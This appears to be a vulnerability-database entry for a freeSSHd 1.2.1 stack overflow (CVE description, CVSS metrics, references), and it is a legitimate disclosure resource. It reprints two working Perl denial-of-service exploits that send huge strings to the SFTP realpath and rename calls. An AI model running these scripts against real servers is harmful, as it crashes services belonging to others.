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CVE Descriptions
Stack-based buffer overflow in freeSSHd 1.2.1 allows remote authenticated users to cause a denial of service (service crash) and potentially execute arbitrary code via a long argument to the (1) rename and (2) realpath parameters.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9 | AV:N/AC:L/Au:S/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 6812
Publication date : 2008-10-21 22h00 +00:00
Author : Jeremy Brown
EDB Verified : Yes
#!/usr/bin/perl
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;
$host = "192.168.0.100";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 262145;
$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;
# milw0rm.com [2008-10-22]
Exploit Database EDB-ID : 6800
Publication date : 2008-10-21 22h00 +00:00
Author : Jeremy Brown
EDB Verified : Yes
#!/usr/bin/perl
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;
$host = "192.168.0.187";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 550000;
$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;
# milw0rm.com [2008-10-22]
Products Mentioned
Configuraton 0
Freesshd>>Freesshd >> Version 1.2.1
- Freesshd>>Freesshd >> Version 1.2.1 (Open CPE detail)
References
http://www.securityfocus.com/archive/1/497746/100/0/threaded
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Tags : mailing-list, x_refsource_BUGTRAQ
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